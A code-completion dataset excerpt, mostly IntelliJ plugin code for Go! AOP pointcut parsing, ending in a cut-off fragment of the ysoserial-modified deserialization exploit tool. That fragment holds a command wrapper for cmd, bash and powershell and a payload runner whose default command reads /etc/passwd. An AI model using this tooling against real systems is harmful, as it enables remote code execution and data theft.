return filterKind;
}
private static class AnnotatedPhpNamedElementClassFilter implements PointFilter {
private static final Set<KindFilter> KIND_CLASS = Collections.singleton(KindFilter.KIND_CLASS);
private static final FileBasedIndex INDEX = FileBasedIndex.getInstance(); | private static final ID<String, Set<String>> KEY = AnnotatedPhpNamedElementIndex.KEY; |
goaop/idea-plugin | src/com/aopphp/go/psi/ClassFilter.java | // Path: src/com/aopphp/go/pointcut/PointFilter.java
// public interface PointFilter extends Serializable
// {
// boolean matches(PhpNamedElement element);
//
// Set<KindFilter> getKind();
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.PointFilter; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface ClassFilter extends PsiElement {
@NotNull
NamespacePattern getNamespacePattern();
| // Path: src/com/aopphp/go/pointcut/PointFilter.java
// public interface PointFilter extends Serializable
// {
// boolean matches(PhpNamedElement element);
//
// Set<KindFilter> getKind();
// }
// Path: src/com/aopphp/go/psi/ClassFilter.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.PointFilter;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface ClassFilter extends PsiElement {
@NotNull
NamespacePattern getNamespacePattern();
| PointFilter getClassFilterMatcher(); |
goaop/idea-plugin | src/com/aopphp/go/psi/PointcutElementFactory.java | // Path: src/com/aopphp/go/GoAopFileType.java
// public class GoAopFileType extends LanguageFileType {
// public static final GoAopFileType INSTANCE = new GoAopFileType();
//
// private GoAopFileType() {
// super(PointcutQueryLanguage.INSTANCE);
// }
//
// @NotNull
// @Override
// public String getName() {
// return "Go! AOP Pointcut";
// }
//
// @NotNull
// @Override
// public String getDescription() {
// return "Go! AOP Pointcut Expression Syntax";
// }
//
// @NotNull
// @Override
// public String getDefaultExtension() {
// return ".goaop";
// }
//
// @Nullable
// @Override
// public Icon getIcon() {
// return GoAopIcons.FILE;
// }
// }
| import com.aopphp.go.GoAopFileType;
import com.intellij.openapi.project.Project;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFileFactory;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.psi;
/**
* Factory for pointcut elements
*/
public class PointcutElementFactory {
/**
* Creates a pointcut expression from string expression
*
* @param project Instance of current project
* @param expression Literal expression of pointcut
*
* @return PointcutExpression instance if Ok or null
*/
public static PointcutExpression createPointcut(Project project, String expression) {
final PointcutFile file = createFile(project, expression);
PsiElement firstChild = file.getFirstChild();
boolean isPointcut = (firstChild instanceof PointcutExpression);
return isPointcut ? (PointcutExpression)firstChild : null;
}
@NotNull
public static PointcutFile createFile(Project project, String text) {
String name = "dummy.goaop";
PsiFileFactory fileFactory = PsiFileFactory.getInstance(project);
| // Path: src/com/aopphp/go/GoAopFileType.java
// public class GoAopFileType extends LanguageFileType {
// public static final GoAopFileType INSTANCE = new GoAopFileType();
//
// private GoAopFileType() {
// super(PointcutQueryLanguage.INSTANCE);
// }
//
// @NotNull
// @Override
// public String getName() {
// return "Go! AOP Pointcut";
// }
//
// @NotNull
// @Override
// public String getDescription() {
// return "Go! AOP Pointcut Expression Syntax";
// }
//
// @NotNull
// @Override
// public String getDefaultExtension() {
// return ".goaop";
// }
//
// @Nullable
// @Override
// public Icon getIcon() {
// return GoAopIcons.FILE;
// }
// }
// Path: src/com/aopphp/go/psi/PointcutElementFactory.java
import com.aopphp.go.GoAopFileType;
import com.intellij.openapi.project.Project;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFileFactory;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.psi;
/**
* Factory for pointcut elements
*/
public class PointcutElementFactory {
/**
* Creates a pointcut expression from string expression
*
* @param project Instance of current project
* @param expression Literal expression of pointcut
*
* @return PointcutExpression instance if Ok or null
*/
public static PointcutExpression createPointcut(Project project, String expression) {
final PointcutFile file = createFile(project, expression);
PsiElement firstChild = file.getFirstChild();
boolean isPointcut = (firstChild instanceof PointcutExpression);
return isPointcut ? (PointcutExpression)firstChild : null;
}
@NotNull
public static PointcutFile createFile(Project project, String text) {
String name = "dummy.goaop";
PsiFileFactory fileFactory = PsiFileFactory.getInstance(project);
| return (PointcutFile) fileFactory.createFileFromText(name, GoAopFileType.INSTANCE, text); |
goaop/idea-plugin | src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
//
// Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
| import com.aopphp.go.PointcutQueryLanguage;
import com.aopphp.go.pattern.CodePattern;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.InjectedLanguagePlaces;
import com.intellij.psi.LanguageInjector;
import com.intellij.psi.PsiLanguageInjectionHost;
import com.jetbrains.php.lang.psi.elements.StringLiteralExpression;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.injector;
/**
* PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions
*/
public class PointcutQueryLanguageInjector implements LanguageInjector {
private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation";
@Override
public void getLanguagesToInject(
@NotNull PsiLanguageInjectionHost host,
@NotNull InjectedLanguagePlaces injectionPlacesRegistrar)
{
// we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>')
if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) {
return;
}
StringLiteralExpression literalExpression = (StringLiteralExpression) host;
| // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
//
// Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
// Path: src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java
import com.aopphp.go.PointcutQueryLanguage;
import com.aopphp.go.pattern.CodePattern;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.InjectedLanguagePlaces;
import com.intellij.psi.LanguageInjector;
import com.intellij.psi.PsiLanguageInjectionHost;
import com.jetbrains.php.lang.psi.elements.StringLiteralExpression;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.injector;
/**
* PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions
*/
public class PointcutQueryLanguageInjector implements LanguageInjector {
private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation";
@Override
public void getLanguagesToInject(
@NotNull PsiLanguageInjectionHost host,
@NotNull InjectedLanguagePlaces injectionPlacesRegistrar)
{
// we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>')
if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) {
return;
}
StringLiteralExpression literalExpression = (StringLiteralExpression) host;
| boolean enableInjection = CodePattern.isInsideAnnotation(literalExpression, GO_AOP_ANNOTATION); |
goaop/idea-plugin | src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
//
// Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
| import com.aopphp.go.PointcutQueryLanguage;
import com.aopphp.go.pattern.CodePattern;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.InjectedLanguagePlaces;
import com.intellij.psi.LanguageInjector;
import com.intellij.psi.PsiLanguageInjectionHost;
import com.jetbrains.php.lang.psi.elements.StringLiteralExpression;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.injector;
/**
* PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions
*/
public class PointcutQueryLanguageInjector implements LanguageInjector {
private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation";
@Override
public void getLanguagesToInject(
@NotNull PsiLanguageInjectionHost host,
@NotNull InjectedLanguagePlaces injectionPlacesRegistrar)
{
// we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>')
if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) {
return;
}
StringLiteralExpression literalExpression = (StringLiteralExpression) host;
boolean enableInjection = CodePattern.isInsideAnnotation(literalExpression, GO_AOP_ANNOTATION);
enableInjection |= CodePattern.isInsidePointcutBuilderMethod(literalExpression);
if (enableInjection) {
TextRange rangeInsideHost = new TextRange(1, Math.max(literalExpression.getTextLength()-1, 1)); | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
//
// Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
// Path: src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java
import com.aopphp.go.PointcutQueryLanguage;
import com.aopphp.go.pattern.CodePattern;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.InjectedLanguagePlaces;
import com.intellij.psi.LanguageInjector;
import com.intellij.psi.PsiLanguageInjectionHost;
import com.jetbrains.php.lang.psi.elements.StringLiteralExpression;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.injector;
/**
* PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions
*/
public class PointcutQueryLanguageInjector implements LanguageInjector {
private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation";
@Override
public void getLanguagesToInject(
@NotNull PsiLanguageInjectionHost host,
@NotNull InjectedLanguagePlaces injectionPlacesRegistrar)
{
// we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>')
if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) {
return;
}
StringLiteralExpression literalExpression = (StringLiteralExpression) host;
boolean enableInjection = CodePattern.isInsideAnnotation(literalExpression, GO_AOP_ANNOTATION);
enableInjection |= CodePattern.isInsidePointcutBuilderMethod(literalExpression);
if (enableInjection) {
TextRange rangeInsideHost = new TextRange(1, Math.max(literalExpression.getTextLength()-1, 1)); | injectionPlacesRegistrar.addPlace(PointcutQueryLanguage.INSTANCE, rangeInsideHost, null, null); |
goaop/idea-plugin | src/com/aopphp/go/psi/PointcutTokenType.java | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
| import com.aopphp.go.PointcutQueryLanguage;
import com.intellij.psi.tree.IElementType;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.psi;
public class PointcutTokenType extends IElementType {
public PointcutTokenType(@NotNull @NonNls String debugName) { | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
// Path: src/com/aopphp/go/psi/PointcutTokenType.java
import com.aopphp.go.PointcutQueryLanguage;
import com.intellij.psi.tree.IElementType;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.psi;
public class PointcutTokenType extends IElementType {
public PointcutTokenType(@NotNull @NonNls String debugName) { | super(debugName, PointcutQueryLanguage.INSTANCE); |
goaop/idea-plugin | src/com/aopphp/go/psi/MemberAccessType.java | // Path: src/com/aopphp/go/pointcut/MemberStateMatcherFilter.java
// public class MemberStateMatcherFilter implements PointFilter {
//
// private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ;
// private PhpModifier.State allowedState;
//
// public MemberStateMatcherFilter(PhpModifier.State allowedState) {
//
// this.allowedState = allowedState;
// }
//
// @Override
// public Set<KindFilter> getKind() {
// return KIND_ALL;
// }
//
// @Override
// public boolean matches(PhpNamedElement element) {
// if (!(element instanceof PhpElementWithModifier)) {
// return false;
// }
// PhpModifier modifier = ((PhpElementWithModifier) element).getModifier();
//
// return allowedState.equals(modifier.getState());
// }
//
// @Override
// public boolean equals(Object o) {
// if (this == o) return true;
// if (!(o instanceof MemberStateMatcherFilter)) return false;
//
// MemberStateMatcherFilter that = (MemberStateMatcherFilter) o;
//
// return allowedState == that.allowedState;
// }
//
// @Override
// public int hashCode() {
// return allowedState.hashCode();
// }
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.MemberStateMatcherFilter;
import com.jetbrains.php.lang.psi.elements.PhpModifier.State; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface MemberAccessType extends PsiElement {
State getMemberAccessType();
| // Path: src/com/aopphp/go/pointcut/MemberStateMatcherFilter.java
// public class MemberStateMatcherFilter implements PointFilter {
//
// private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ;
// private PhpModifier.State allowedState;
//
// public MemberStateMatcherFilter(PhpModifier.State allowedState) {
//
// this.allowedState = allowedState;
// }
//
// @Override
// public Set<KindFilter> getKind() {
// return KIND_ALL;
// }
//
// @Override
// public boolean matches(PhpNamedElement element) {
// if (!(element instanceof PhpElementWithModifier)) {
// return false;
// }
// PhpModifier modifier = ((PhpElementWithModifier) element).getModifier();
//
// return allowedState.equals(modifier.getState());
// }
//
// @Override
// public boolean equals(Object o) {
// if (this == o) return true;
// if (!(o instanceof MemberStateMatcherFilter)) return false;
//
// MemberStateMatcherFilter that = (MemberStateMatcherFilter) o;
//
// return allowedState == that.allowedState;
// }
//
// @Override
// public int hashCode() {
// return allowedState.hashCode();
// }
// }
// Path: src/com/aopphp/go/psi/MemberAccessType.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.MemberStateMatcherFilter;
import com.jetbrains.php.lang.psi.elements.PhpModifier.State;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface MemberAccessType extends PsiElement {
State getMemberAccessType();
| MemberStateMatcherFilter getMemberAccessTypeMatcher(); |
goaop/idea-plugin | src/com/aopphp/go/psi/NegatedExpression.java | // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface NegatedExpression extends PsiElement {
@NotNull
BrakedExpression getBrakedExpression();
| // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
// Path: src/com/aopphp/go/psi/NegatedExpression.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface NegatedExpression extends PsiElement {
@NotNull
BrakedExpression getBrakedExpression();
| Pointcut resolveNegatedExpression(); |
goaop/idea-plugin | src/com/aopphp/go/psi/ConjugatedExpression.java | // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface ConjugatedExpression extends PsiElement {
@Nullable
ConjugatedExpression getConjugatedExpression();
@NotNull
NegatedExpression getNegatedExpression();
| // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
// Path: src/com/aopphp/go/psi/ConjugatedExpression.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface ConjugatedExpression extends PsiElement {
@Nullable
ConjugatedExpression getConjugatedExpression();
@NotNull
NegatedExpression getNegatedExpression();
| Pointcut resolveConjugatedExpression(); |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/JRMPClient.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
